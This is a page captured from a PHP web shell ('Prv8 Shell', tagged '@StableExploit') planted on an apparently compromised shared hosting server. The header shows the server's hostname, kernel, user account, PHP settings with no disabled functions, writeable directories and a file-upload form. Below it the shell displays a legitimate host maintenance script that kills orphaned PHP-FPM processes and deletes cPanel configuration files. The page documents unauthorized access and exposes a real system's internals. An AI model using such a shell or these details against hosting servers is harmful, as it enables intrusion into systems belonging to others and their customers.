Prv8 Shell
Server : Apache
System : Linux ecngx264.inmotionhosting.com 4.18.0-553.77.1.lve.el8.x86_64 #1 SMP Wed Oct 8 14:21:00 UTC 2025 x86_64
User : lonias5 ( 3576)
PHP Version : 7.3.33
Disable Function : NONE
Directory :  /proc/self/root/proc/thread-self/root/opt/sharedrads/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/proc/thread-self/root/opt/sharedrads/reap_fpm_orphans.sh
#!/bin/bash

# Fix to kill/resolve orphaned PHP-FPM processes

SUPERVISORCTL="/opt/imh-python/bin/supervisorctl -c /opt/ngxconf/supervisord/supervisord.conf"

NAG_OK=0
NAG_CRIT=2

cmd=$1
output=$(ps -ef | grep -i "php-fpm:" | grep -v "grep" | awk '$3==1{print $9,$10,$11}')
pids=$(ps -ef | grep -i "php-fpm:" | grep -v "grep" | awk '$3==1{print $2}')
orphaned_count=0

# Verify supervisord is responsive
if ! $SUPERVISORCTL version > /dev/null  # to /dev/null to prevent unneeded spam
then
  echo "Couldn't run 'supervisorctl status all'! Orphans would not be able to restart without supervisord."
  echo "Ensure supervisord is working before attempting fix."
  echo -n "Error: "
  $SUPERVISORCTL version
  exit $NAG_CRIT
fi


# Count how many lines there are to see if there's an issue/to report a number to Icinga
while read -r line
do
  if [[ -n $line ]]  # If the line is blank ignore it
  then
    (( orphaned_count=orphaned_count+1 ))
  fi
done < <(echo "$output")

# If any pool or master is orphaned throw a crit or try to fix it
if [[ $orphaned_count -gt 0 ]]
then
  echo -n "Killing"
  while read -r pid
  do
    kill -9 "$pid"
    echo -n " $pid"
  done < <(echo "$pids")
  echo ""
fi

if [[ "$cmd" == "fix2" ]]  # Second pass cleans up any remaining php-fpm pools orphaned by the previous round killing orphaned masters
then
  sleep 5
  echo "Attempting to start all PHP-FPM masters"
  if $SUPERVISORCTL start all; then
    echo "Started all php-fpm masters through supervisorctl"
  else
    echo "Failed to issue supervisorctl command to restart php-fpm masters - PHP is down on this server! Is supervisord responding?"
    exit $NAG_CRIT
  fi
  exit $NAG_OK
else # Clean up some cPanel files and Run second pass
  # Remove any php-fpm.yaml userdata files
  echo "Removing php-fpm files..."
  find /var/cpanel/userdata/*/ -name "*.php-fpm.yaml" -print -delete

  # Remove any cpanel php-fpm config files
  echo "Removing php-fpm conf files..."
  find /opt/cpanel/ea-php*/root/etc/php-fpm.d/ -name "*.conf" -print -delete

  $0 fix2
  exit $?
fi

@StableExploit - 2025